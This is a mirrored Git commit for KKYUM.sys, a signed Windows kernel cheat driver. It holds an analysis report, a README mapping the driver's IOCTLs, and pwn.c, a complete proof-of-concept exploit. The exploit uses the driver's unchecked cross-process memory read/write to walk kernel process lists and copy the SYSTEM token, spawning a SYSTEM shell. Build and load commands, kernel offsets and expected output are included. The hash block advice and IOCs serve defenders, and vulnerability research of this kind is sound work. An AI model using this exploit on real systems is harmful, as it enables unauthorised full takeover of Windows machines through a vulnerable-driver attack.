mirror of
https://github.com/0xdeadbeefnetwork/KKYUMPoC
synced 2026-09-07 12:55:57 +00:00
KKYUM.sys PoC
This commit is contained in:
0xdeadbeefnetwork
+196
@@ -0,0 +1,196 @@
|
||||
# KKYUM.sys Driver Analysis Report
|
||||
|
||||
## Executive Summary
|
||||
|
||||
KKYUM.sys is a Windows x64 kernel driver (26,768 bytes) that appears to be designed for process memory manipulation and interaction with the Windows input subsystem (mouse/keyboard drivers) and GUI components (win32k).
|
||||
|
||||
**SHA256:** `72BD55F4459C992B9CAA1A33CB6862F1F3085CA35839C58DEE8B75DB22CA605F`
|
||||
|
||||
## File Metadata
|
||||
- **Architecture:** x86-64 (x86:LE:64:default)
|
||||
- **Platform:** Windows
|
||||
- **Type:** Kernel Driver (.sys)
|
||||
- **Size:** 26,768 bytes
|
||||
- **Framework:** Windows Driver Framework (WDF/KMDF)
|
||||
|
||||
## Memory Layout
|
||||
|
||||
```
|
||||
Section Start Address Size Permissions
|
||||
------- ------------- ---- -----------
|
||||
Headers 0x140000000 0x400 R--
|
||||
.text 0x140001000 0x2600 R-X (executable code)
|
||||
.rdata 0x140004000 0xc00 R-- (read-only data)
|
||||
.data 0x140005000 0x4e0 RW- (writable data)
|
||||
.pdata 0x140006000 0x200 R-- (exception handling)
|
||||
INIT 0x140007000 0x600 R-X (initialization code)
|
||||
.reloc 0x140008000 0x200 R-- (relocations)
|
||||
tdb 0xff00000000 0x1850 RW- (type database)
|
||||
```
|
||||
|
||||
## Key Findings
|
||||
|
||||
### 1. Device Interface
|
||||
The driver creates a device object and symbolic link for usermode communication:
|
||||
- **Device:** `\Device\KKYUM`
|
||||
- **Symbolic Link:** `\DosDevices\KKYUM`
|
||||
|
||||
This allows usermode applications to open a handle to the driver and send I/O control codes (IOCTLs).
|
||||
|
||||
### 2. Process Memory Manipulation Capabilities
|
||||
|
||||
The driver imports critical functions for reading/writing process memory:
|
||||
|
||||
- **`MmCopyVirtualMemory`** - Copies memory between process address spaces (referenced 3 times)
|
||||
- This is a powerful kernel function that allows reading/writing to any process
|
||||
- Commonly used by game cheats and malware for process injection
|
||||
|
||||
- **`PsLookupProcessByProcessId`** - Locates process structure by PID
|
||||
- **`KeStackAttachProcess`** / **`KeUnstackDetachProcess`** - Attaches to target process context
|
||||
- **`IoGetCurrentProcess`** - Gets current process
|
||||
- **`PsGetProcessWow64Process`** - Gets WOW64 information (32-bit on 64-bit)
|
||||
|
||||
### 3. Input Subsystem Targeting
|
||||
|
||||
String references indicate targeting of mouse and keyboard drivers:
|
||||
|
||||
```
|
||||
\Driver\mouclass - Mouse class driver
|
||||
\Driver\kbdclass - Keyboard class driver
|
||||
\Driver\kbdhid - Keyboard HID driver
|
||||
\Driver\mouhid - Mouse HID driver
|
||||
\Driver\i8042prt - PS/2 keyboard/mouse port driver
|
||||
```
|
||||
|
||||
This suggests potential capabilities for:
|
||||
- Input injection (sending fake mouse/keyboard inputs)
|
||||
- Input filtering/monitoring (reading user inputs)
|
||||
- Bypassing user-mode input validation
|
||||
|
||||
### 4. Windows GUI Subsystem Access
|
||||
|
||||
References to win32k components:
|
||||
- `win32kbase.sys` - Windows kernel-mode base subsystem
|
||||
- `win32kfull.sys` - Windows kernel-mode full subsystem
|
||||
- `ValidateHwnd` - Function for validating window handles
|
||||
|
||||
This could indicate:
|
||||
- Direct manipulation of GUI elements
|
||||
- Bypassing user-mode window message queues
|
||||
- Window handle validation/enumeration
|
||||
|
||||
### 5. Process Targeting
|
||||
|
||||
- **`winlogon.exe`** - Windows logon process
|
||||
- This is a critical Windows process that handles login/logout
|
||||
- Targeting it could indicate credential harvesting or session manipulation
|
||||
|
||||
### 6. System Information Queries
|
||||
|
||||
- **`ZwQuerySystemInformation`** - Queried twice
|
||||
- Can retrieve system-level information
|
||||
- Often used for anti-detection or process enumeration
|
||||
|
||||
### 7. Dynamic Function Resolution
|
||||
|
||||
- **`RtlFindExportedRoutineByName`** - Finds kernel functions by name
|
||||
- Allows runtime resolution of undocumented kernel functions
|
||||
- Common technique to avoid static analysis detection
|
||||
|
||||
## Security Implications
|
||||
|
||||
### Potential Malicious Uses:
|
||||
1. **Game Cheating/Anti-Cheat Bypass**
|
||||
- Read/write game process memory
|
||||
- Inject fake input events
|
||||
- Bypass anti-cheat detection
|
||||
|
||||
2. **Keylogging/Input Interception**
|
||||
- Monitor keyboard/mouse inputs at kernel level
|
||||
- Bypass user-mode security software
|
||||
|
||||
3. **Process Injection**
|
||||
- Inject code into arbitrary processes
|
||||
- Escalate privileges
|
||||
- Hide malicious activity
|
||||
|
||||
4. **Credential Harvesting**
|
||||
- Target winlogon.exe for credentials
|
||||
- Read password memory from processes
|
||||
|
||||
5. **Rootkit Capabilities**
|
||||
- Kernel-level code execution
|
||||
- Hide processes/files/network connections
|
||||
- Disable security software
|
||||
|
||||
## Function Analysis
|
||||
|
||||
- **Total Functions:** 90
|
||||
- **Entry Point:** `0x1400029e0`
|
||||
- **Notable Imports:**
|
||||
- Memory management: `ExAllocatePool`, `ExFreePoolWithTag`, `MmMapLockedPagesSpecifyCache`
|
||||
- Device management: `IoCreateDevice`, `IoDeleteDevice`, `IoCreateSymbolicLink`
|
||||
- Process operations: `MmCopyVirtualMemory`, `KeStackAttachProcess`
|
||||
- Object management: `ObReferenceObjectByName`, `ObfDereferenceObject`
|
||||
|
||||
## KMDF Framework
|
||||
|
||||
The driver uses the Kernel-Mode Driver Framework (KMDF):
|
||||
- `WdfVersionBind` - Binds to WDF runtime
|
||||
- `WdfLdrQueryInterface` - Queries WDF loader
|
||||
- `WdfVersionBindClass` - Binds to WDF class
|
||||
|
||||
This provides a structured framework for driver development but also indicates a relatively modern/well-structured implementation.
|
||||
|
||||
## Static Analysis Pattern
|
||||
|
||||
Found binary pattern (likely signature for code searching):
|
||||
```
|
||||
E8 ? ? ? ? 8B ? 85 C0 75 0E
|
||||
```
|
||||
This appears to be a pattern for locating specific code sequences, possibly for hooking or patching.
|
||||
|
||||
## Recommendations
|
||||
|
||||
### For Security Researchers:
|
||||
1. **Dynamic Analysis:** Run in isolated VM with process/registry monitoring
|
||||
2. **IOCTL Analysis:** Reverse engineer IOCTL handlers to understand full capabilities
|
||||
3. **Decompile Entry Point:** Examine `DriverEntry` and IRP handlers
|
||||
4. **Memory Analysis:** Monitor `MmCopyVirtualMemory` calls to see what it's reading/writing
|
||||
5. **Input Monitoring:** Check if it hooks keyboard/mouse driver chains
|
||||
|
||||
### For System Administrators:
|
||||
1. **This driver should be treated as potentially malicious**
|
||||
2. **Do NOT load on production systems**
|
||||
3. **Check for persistence:** Registry `SYSTEM\CurrentControlSet\Services\KKYUM`
|
||||
4. **Monitor for:** Unsigned driver loading attempts
|
||||
5. **Detection:** SHA256 hash can be used in EDR/AV signatures
|
||||
|
||||
## IOC (Indicators of Compromise)
|
||||
|
||||
- **File Hash:** `72BD55F4459C992B9CAA1A33CB6862F1F3085CA35839C58DEE8B75DB22CA605F`
|
||||
- **Device Name:** `\Device\KKYUM`
|
||||
- **Symbolic Link:** `\DosDevices\KKYUM`
|
||||
- **Service Name:** Likely "KKYUM" (typical convention)
|
||||
|
||||
## Next Steps for Analysis
|
||||
|
||||
1. **Decompile DriverEntry** - Understand initialization and IOCTL registration
|
||||
2. **Analyze IRP Handlers** - Reverse engineer DeviceIoControl handlers
|
||||
3. **Trace Memory Operations** - Dynamic analysis of MmCopyVirtualMemory usage
|
||||
4. **IOCTL Fuzzing** - Test driver stability and find vulnerabilities
|
||||
5. **Signature Creation** - Create YARA rule for detection
|
||||
6. **Behavioral Analysis** - Run in VM and monitor kernel API calls
|
||||
|
||||
## Conclusion
|
||||
|
||||
KKYUM.sys is a kernel driver with capabilities for:
|
||||
- ✅ Process memory reading/writing (via `MmCopyVirtualMemory`)
|
||||
- ✅ Input system manipulation (mouse/keyboard driver references)
|
||||
- ✅ GUI subsystem interaction (win32k references)
|
||||
- ✅ Process targeting (winlogon.exe)
|
||||
- ✅ Dynamic function resolution (anti-analysis)
|
||||
|
||||
**Risk Level:** HIGH - This driver has all the capabilities needed for malicious activities including game cheating, keylogging, process injection, and rootkit functionality.
|
||||
|
||||
**Recommendation:** Treat as malicious until proven otherwise. Do not load on any system with valuable data.
|
||||
@@ -0,0 +1,154 @@
|
||||
# KKYUMPoC
|
||||
|
||||
```
|
||||
_._ _,-'""`-._
|
||||
(,-.`._,'( |\`-/|
|
||||
`-.-' \ )-`( , o o)
|
||||
`- \`_`"'- _SiCk // afflicted.sh
|
||||
```
|
||||
|
||||
PoC and driver analysis for **KKYUM.sys**, a WHQL-signed cheat driver
|
||||
(LOLDrivers PR #405, sha256
|
||||
`72bd55f4459c992b9caa1a33cb6862f1f3085ca35839c58dee8b75db22ca605f`,
|
||||
26,768 bytes, WHQL-attestation signed). The leaf signer is the uniform
|
||||
`CN=Microsoft Windows Hardware Compatibility Publisher` (via
|
||||
`Microsoft Windows Third Party Component CA 2012`) that every
|
||||
attestation-signed driver carries — **the vendor identity is not recoverable
|
||||
from the artifact**. Version resource is stripped; the only fingerprint
|
||||
present is `PDBPath: E:\Windows\Desktop\Dev\Driver\IOBase\kmumd\Release\ioctl-km.pdb`.
|
||||
|
||||
The driver exposes `\\.\KKYUM` with no meaningful ACL and wraps
|
||||
`MmCopyVirtualMemory` behind two ioctls that take a **caller-supplied PID**:
|
||||
arbitrary cross-process read/write, kernel VAs included, from a standard
|
||||
user token. The device resolves `PsLookupProcessByProcessId(pid)` per call
|
||||
and never checks who's asking.
|
||||
|
||||
```c
|
||||
#define IOCTL_READ 0x22265c
|
||||
#define IOCTL_WRITE 0x222658
|
||||
|
||||
// in/out buffer layout, both directions:
|
||||
typedef struct {
|
||||
uint32_t pid; // target process, any pid incl 4
|
||||
uint32_t count; // op count
|
||||
struct {
|
||||
uint64_t remote; // VA in target process (kernel VA ok)
|
||||
uint64_t local; // VA in your process
|
||||
uint64_t size;
|
||||
} ops[1];
|
||||
} REQ;
|
||||
```
|
||||
|
||||
## the PoC (pwn.c)
|
||||
|
||||
Elevated token-steal, 126 lines, HVCI-compatible (data-only):
|
||||
|
||||
1. `AdjustTokenPrivileges(SeDebugPrivilege, ENABLED)` — required. the
|
||||
SystemModuleInformation scrub gate checks **enabled**, not held. a stock
|
||||
admin cmd holds it disabled and QSI(11) returns zeroed ImageBase.
|
||||
2. `NtQuerySystemInformation(SystemModuleInformation)` -> ntoskrnl base.
|
||||
3. Walk ntoskrnl exports -> `PsInitialSystemProcess` -> System EPROCESS.
|
||||
4. Walk `ActiveProcessLinks` until pid matches ours.
|
||||
5. Copy System's token over ours. Verify. Spawn `cmd /k whoami` (SYSTEM).
|
||||
6. Restore original token after 2s.
|
||||
|
||||
Offsets (Windows 11 26100 / 26200):
|
||||
|
||||
```
|
||||
UniqueProcessId 0x1d0
|
||||
ActiveProcessLinks 0x1d8
|
||||
Token 0x248
|
||||
```
|
||||
|
||||
## build
|
||||
|
||||
```
|
||||
x86_64-w64-mingw32-gcc -s -O2 -o pwn.exe pwn.c
|
||||
```
|
||||
|
||||
## run
|
||||
|
||||
Load the driver once from an elevated cmd (driver not bundled in this repo —
|
||||
pull from LOLDrivers PR #405):
|
||||
|
||||
```
|
||||
sc create KKYUM binPath= C:\path\to\KKYUM.sys type= kernel
|
||||
sc start KKYUM
|
||||
```
|
||||
|
||||
then from the same elevated cmd:
|
||||
|
||||
```
|
||||
pwn.exe
|
||||
```
|
||||
|
||||
Expected:
|
||||
|
||||
```
|
||||
[*] KKYUM.sys LPE
|
||||
[+] nt fffff807bf800000
|
||||
[+] dev
|
||||
[+] sysEproc ffffbb8fc44c5040
|
||||
[+] pid 2552 eproc ffffbb800aff2080 tok ffffaa086420263f -> ffffaa07fb27d93f
|
||||
[+] SYSTEM shell (pid 26644)
|
||||
[+] restored
|
||||
```
|
||||
|
||||
Verified on Windows 11 26200 with VBS off (VM) and with HVCI on
|
||||
(bare metal). pwn.exe also auto-starts the service if it finds it stopped.
|
||||
|
||||
## full ioctl map
|
||||
|
||||
see [ANALYSIS.md](ANALYSIS.md). summary:
|
||||
|
||||
```
|
||||
0x222658 WRITE {pid, count, ops[{remote, local, size}]} MmCopyVirtualMemory
|
||||
0x22265C READ same layout, direction flipped
|
||||
0x222650 module base {pid, name} -> DllBase, PEB->Ldr walk, out @ +520
|
||||
0x222654 image name -> pid, kernel-side QSI walk, out @ +512
|
||||
0x22261C DKOM link, objects via win32kbase!ValidateHwnd, +88/+96
|
||||
0x222620 DKOM unlink (window hiding)
|
||||
0x222624 win32kfull call-site with attacker-controlled RDX
|
||||
0x222640 set XOR key for subsequent ioctl buffers
|
||||
0x222644 kbdclass/mouclass queue scanner init
|
||||
0x222648 cursor sprite patch
|
||||
0x22264C cursor sprite patch (variant)
|
||||
0x222662 READ, MDL variant (same MmCopyVirtualMemory)
|
||||
0x222666 WRITE, MDL variant
|
||||
```
|
||||
|
||||
Import table is ntoskrnl + the WDF loader stub only. No NDIS/WSK/file/registry
|
||||
imports — the driver has no C2 or exfiltration capability; if the parent cheat
|
||||
phones home, the user-mode client does it.
|
||||
|
||||
## unelevated notes (why this repo is elevated-only)
|
||||
|
||||
On 26100/26200 every classic unelevated kernel-address disclosure is closed
|
||||
against a standard user token:
|
||||
|
||||
- QSI 0x11 module info / 0x40 handle table / 0x39 thread fields: scrubbed
|
||||
- QSI 0x42 big pool: tags+sizes real, address field reduced to a 0/1 flag
|
||||
- TEBs: sanitized
|
||||
- desktop heap user alias: relative offsets, no raw kernel pointers
|
||||
- System (pid 4) `PEB->Ldr` is NULL — the module-lookup ioctl leaks nothing
|
||||
|
||||
and the last fixed-address fallback is a trap: ring-3 `sidt` on 26200 returns
|
||||
a decoy IDT base (`0xFFFFF80000001000`, unmapped) — reading it through the
|
||||
driver is a guaranteed `PAGE_FAULT_IN_NONPAGED_AREA` bugcheck. Verified on
|
||||
both a VMware guest (VBS off) and bare metal under Hyper-V (HVCI on), same
|
||||
faulting address on both. Control read through the same primitive
|
||||
(`0xFFFFF78000000000`, kernel view of KUSER_SHARED_DATA) returns real bytes,
|
||||
so the primitive is fine — the address isn't.
|
||||
|
||||
Full writeup, including the four bluescreens and the sidt post-mortem:
|
||||
<https://afflicted.sh/blog/posts/kkyum-leak-graveyard.html>
|
||||
|
||||
## defense
|
||||
|
||||
Block by hash `72bd55f4459c992b9caa1a33cb6862f1f3085ca35839c58dee8b75db22ca605f`
|
||||
(Microsoft vulnerable driver blocklist entry pending at time of writing) and
|
||||
revoke trust in the signing identity if you're in a position to.
|
||||
|
||||
lab use only. point it at machines you own.
|
||||
|
||||
_SiCk · [afflicted.sh](https://afflicted.sh)
|
||||
@@ -0,0 +1,126 @@
|
||||
// pwn.c - KKYUM.sys LPE (HVCI ok) - _SiCk // afflicted.sh
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define IR 0x22265c
|
||||
#define IW 0x222658
|
||||
#define PIDO 0x1d0
|
||||
#define LNKO 0x1d8
|
||||
#define TOKO 0x248
|
||||
|
||||
typedef NTSTATUS (NTAPI *QSI)(ULONG, PVOID, ULONG, PULONG);
|
||||
static HANDLE d;
|
||||
|
||||
// pid-scoped copy r/w
|
||||
static int io(DWORD c, uint32_t pid, uint64_t a, void *b, uint64_t n) {
|
||||
struct { uint32_t pid, cnt; struct { uint64_t r, l, s; } op; } rq = { pid, 1, a, (uint64_t)b, n };
|
||||
DWORD br;
|
||||
return DeviceIoControl(d, c, &rq, sizeof rq, &rq, sizeof rq, &br, 0);
|
||||
}
|
||||
#define kr(pid,a,b,n) io(IR,pid,a,b,n)
|
||||
#define kw(pid,a,b,n) io(IW,pid,a,b,n)
|
||||
|
||||
// sedebug on -> qsi(11) unscrubbed
|
||||
static uint64_t ntbase(void) {
|
||||
HANDLE t;
|
||||
TOKEN_PRIVILEGES tp = {0};
|
||||
QSI q = (QSI)GetProcAddress(GetModuleHandleA("ntdll"), "NtQuerySystemInformation");
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &t)) {
|
||||
LookupPrivilegeValueA(0, "SeDebugPrivilege", &tp.Privileges[0].Luid);
|
||||
AdjustTokenPrivileges(t, 0, &tp, 0, 0, 0);
|
||||
CloseHandle(t);
|
||||
}
|
||||
ULONG n = 0;
|
||||
q(11, 0, 0, &n);
|
||||
uint8_t *b = malloc(n * 2);
|
||||
if (!b || q(11, b, n * 2, &n) != 0) return 0;
|
||||
uint64_t r = *(uint64_t *)(b + 8 + 0x10);
|
||||
free(b);
|
||||
return r;
|
||||
}
|
||||
|
||||
// export walk
|
||||
static uint64_t fexp(uint64_t b, const char *nm) {
|
||||
uint8_t h[0x1000];
|
||||
uint32_t e, nn, ar, nr, orr, *n32, f;
|
||||
uint16_t o;
|
||||
char s[64];
|
||||
if (!kr(4, b, h, sizeof h)) return 0;
|
||||
e = *(uint32_t *)(h + 0x3c);
|
||||
e = *(uint32_t *)(h + e + 0x88);
|
||||
if (!e || !kr(4, b + e, h, 0x28)) return 0;
|
||||
nn = *(uint32_t *)(h + 0x18); ar = *(uint32_t *)(h + 0x1c);
|
||||
nr = *(uint32_t *)(h + 0x20); orr = *(uint32_t *)(h + 0x24);
|
||||
n32 = malloc(nn * 4);
|
||||
if (!kr(4, b + nr, n32, nn * 4)) { free(n32); return 0; }
|
||||
for (uint32_t i = 0; i < nn; i++) {
|
||||
if (!kr(4, b + n32[i], s, 63)) continue;
|
||||
s[63] = 0;
|
||||
if (!strcmp(s, nm)) {
|
||||
kr(4, b + orr + i * 2, &o, 2);
|
||||
kr(4, b + ar + o * 4, &f, 4);
|
||||
free(n32);
|
||||
return b + f;
|
||||
}
|
||||
}
|
||||
free(n32);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
printf(" _._ _,-'\"\"`-._\n"
|
||||
"(,-.`._,'( |\\`-/|\n"
|
||||
" `-.-' \\ )-`( , o o)\n"
|
||||
" `- \\`_`\"'- _SiCk // afflicted.sh\n\n");
|
||||
printf("[*] KKYUM.sys LPE\n");
|
||||
|
||||
uint64_t nt = ntbase();
|
||||
if (!nt) { printf("[-] nt base (elevated?)\n"); return 1; }
|
||||
printf("[+] nt %llx\n", nt);
|
||||
|
||||
d = CreateFileW(L"\\\\.\\KKYUM", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
|
||||
if (d == INVALID_HANDLE_VALUE) { // service stopped -> start, retry
|
||||
system("sc start KKYUM >nul 2>&1");
|
||||
Sleep(1500);
|
||||
d = CreateFileW(L"\\\\.\\KKYUM", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
|
||||
}
|
||||
if (d == INVALID_HANDLE_VALUE) { printf("[-] dev %lu\n", GetLastError()); return 1; }
|
||||
printf("[+] dev\n");
|
||||
|
||||
uint64_t pisp = fexp(nt, "PsInitialSystemProcess"), sys = 0, me = 0, st = 0, ot = 0, chk = 0;
|
||||
if (!pisp || !kr(4, pisp, &sys, 8) || !sys) { printf("[-] sys eproc\n"); return 1; }
|
||||
printf("[+] sysEproc %llx\n", sys);
|
||||
|
||||
DWORD my = GetCurrentProcessId();
|
||||
for (uint64_t cur = sys, fl = 0, p = 0, i = 0; i < 4096; i++) { // walk links
|
||||
if (!kr(4, cur + LNKO, &fl, 8)) break;
|
||||
cur = fl - LNKO;
|
||||
if (cur == sys) break;
|
||||
if (kr(4, cur + PIDO, &p, 8) && p == my) { me = cur; break; }
|
||||
}
|
||||
if (!me) { printf("[-] our eproc\n"); return 1; }
|
||||
|
||||
kr(4, sys + TOKO, &st, 8);
|
||||
kr(4, me + TOKO, &ot, 8);
|
||||
if (!kw(4, me + TOKO, &st, 8) || !kr(4, me + TOKO, &chk, 8) || chk != st) {
|
||||
printf("[-] swap\n");
|
||||
return 1;
|
||||
}
|
||||
printf("[+] pid %lu eproc %llx tok %llx -> %llx\n", my, me, ot, st);
|
||||
|
||||
STARTUPINFOA si = { .cb = sizeof si };
|
||||
PROCESS_INFORMATION pi;
|
||||
if (CreateProcessA(0, "cmd.exe /k whoami", 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &si, &pi)) {
|
||||
printf("[+] SYSTEM shell (pid %lu)\n", pi.dwProcessId);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
|
||||
Sleep(2000);
|
||||
kw(4, me + TOKO, &ot, 8); // restore
|
||||
printf("[+] restored\n");
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user